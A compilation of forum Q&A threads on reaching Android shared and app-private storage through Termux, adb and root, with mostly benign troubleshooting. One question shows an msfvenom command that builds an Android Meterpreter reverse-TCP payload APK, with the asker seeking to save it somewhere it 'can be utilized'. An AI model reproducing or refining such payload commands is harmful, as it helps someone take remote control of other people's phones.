Im running Termux on an Android 10 smartphone. Termux is fully upgraded and updated. But I can't access device storage(/storage/emulated/0).
I tried 'cd' command, and it works. But whenever I try to access a file or folder it says 'no access'. Plz help me.
For accessing to shared storage (/sdcard or /storage/emulated/0), Termux needs a storage access permission. It is not granted by default and is not requested on application startup because it is not necessary for normal applications.
In order to have access you should run
termux-setup-storage
command. Then you can have access to various paths like :
~/storage/shared : this is the root of shared storage
~/storage/downloads : this is the common folder for downloads
~/storage/dcim : this is normal directory for pictures and vidoes captured by camera
First you need to setup your phone internal storage in termux, using this command *
termux-setup-storage
*Then put this command to change your directory *
cd /sdcard
*Now you can easily access your internal storage *
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Quick cyber sec question
Im playing around with metasploit in termux and resolved most issues except for the following:
msfvenom -p android/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=000 R> /$HOME/payload.apk
The above code succesfully compiles the reverse_tcp payload however it is saved to the $HOME directory in termux where it is unusable.
Ive attempted doing R> /sdcard/payload.apk but the directory can not be found.
Changing to: R> /$SDcard/payload.apk throws the following error "Read-only file system" which leads me to believe its either a storage permisson problem or OS limitation as im using Android 5.1.1
Does anyone perhaps know how I can get msfvenom to save payloads to internal storage or sdcard where it can be utilized?
Thanks in advance :)
The termux-tools package, which is pre-installed in the distribution has a command termux-setup-storage which will allow Termux to access your Internal Device Storage.
You can also go to App Info > Permissions & Enable Storage in order to allow Termux to access the Internal Storage of your phone which will no longer give you the "Read Only filesystem" error.
P.S. termux-setup-storage also creates a new directory in $HOME with symlinks to important locations in your Internal Storage such as Downloads, Pictures, Music etc.
i.e. in simple terms,
Run termux-setup-storage.
Allow storage permissions.
You're good to go.
I have created this file on my device:
file:///data/user/0/io.ionic.starter/files/mypdf.pdf
But I can’t figure out how to find that file manually using my android device. Any ideas?
Note: I am using an emulator, Nexus 5X.
What do you mean by "manually"?
You can not access this file from another application on your Android device, such as a file manager or a PDF viewer.
This is because you created it inside your applications files directory, which is guarded by file system permissions and is only accessible to your application.
There are two exceptions to this rule:
If your device is rooted, you can use Root explorer to find the file.
If you created the file with "world readable" permission, another application can read it if it has the exact path (including full file name).
Note this may not work on newer versions of Android.
If you wish to access the file from you PC to examine it, you can use adb pull command. Since you are using an emulator, ADB should be running as root.
If it is not, use adb root command to switch ADB to run as root, then you will have no problem accessing any directory on the phone.
Keep in mind, this will not work on a real phone with stock ROM, as ADB can not run with root privileges on production systems.
I'm trying to move all sub-folder of a folder on my desktop to the 'files' folder in the internal app storage of the app I developed.
My first attempt with one file:
/e/Android/android-sdk/platform-tools
$ adb push pull.sh /data/data/irisrecognition.example.com.irisrecognition
failed to copy 'pull.sh' to 'C:/Program Files/Git/data/data/irisrecognition.example.com.irisrecognition': No such file or directory
26 KB/s (315 bytes in 0.011s)
Why does the GIT path gets added to my data path? I also tried using adb shell, run-as etc to no avail.
Here is what worked for our App:
Ensure the device is connected.
Open a console.
Finally, run something like:
adb push C:\my-location\my-data\. /storage/emulated/0/Android/data/my.package.name
But edit above's paths to your requirements (specially the "my.package.name" part).
Note that the "." dot means current-directory, but by putting "C:\my-location\data\" in front of it, we mark that path to be current.
Also, the destination-directrory is auto created (if it does not already exist).
You can't simply push or pull files into or from the internal storage of an app. If it would have been possible, any 3rd party app could fetch or inject data into an app's private storage space.
If you really want to do this, you need to have root access.
I am developing an application using ionic framework.
The app creates files (*.json) and stores them in /data/user/0/ when i verify whether they exist or not, the result was true which means the files exist in the mentioned directory and I can access and modify their content without problem, but when I check the directory with a file manager or from the computer, no result, the directory is empty.
Could someone tell me what should I do?
use adb to copy the file. Even if it's in root dir, u should have access to it via adb.
Do adb pull data/user/0/filename.json path_on_ur_comp.json.
this will copy the file to the directory you define in the 2nd parameter.
// EDIT:
adb is part of the Android SDK, stands for Android Debug Bridge.
You can use this for MANY MANY different reason but of course, the "main" reason is to debug Android devices. You can use it to transfer files in your case.
In Windows, it's located here:
C:\Users\USERNAME\AppData\Local\Android\sdk\platform-tools\adb
In Mac, it's lcoated here:
/Users/USERNAME/Library/Android/sdk/platform-tools/adb
Depending on which OS you use, open that either with Terminal (Mac) or Command Prompt (Windows).
Once you do that, run the following command:
For Mac:
adb pull data/user/0/filename.json /Users/USERNAME/Desktop/somefile.json
For Windows:
adb pull data/user/0/filename.json c:\Users\USERNAME\Desktop\somefile.json
This will copy the file and put it on your desktop
HI I am developing an android application for android on nexus 7 device.
I am trying to copy my database.db from assets to /data/data/myPackage/databases/ folder. Nothing wrong till here. No exceptions and everything runs smoothly.
But When i try to get into /data/data/ folder through adb shell or with file explorer it says permission denied or just doesnt show anything.
Am I missing something here ?
PS: myPackage is just symbolic i have my own package name in its stead
Command line is here
shell#tilapia:/ $ cd /data/
shell#tilapia:/data $ ls
opendir failed, Permission denied
You need to have your device rooted to be able to access that folder.
If you want to look at your database you can always export it to the sdcard and look at it there.
see this link for an example on how to do that
trying to export db to SDCARD
you can always get the db out of the emulator, but never from a live device or else it would be easy to write apps that read/write other apps' databases and create malware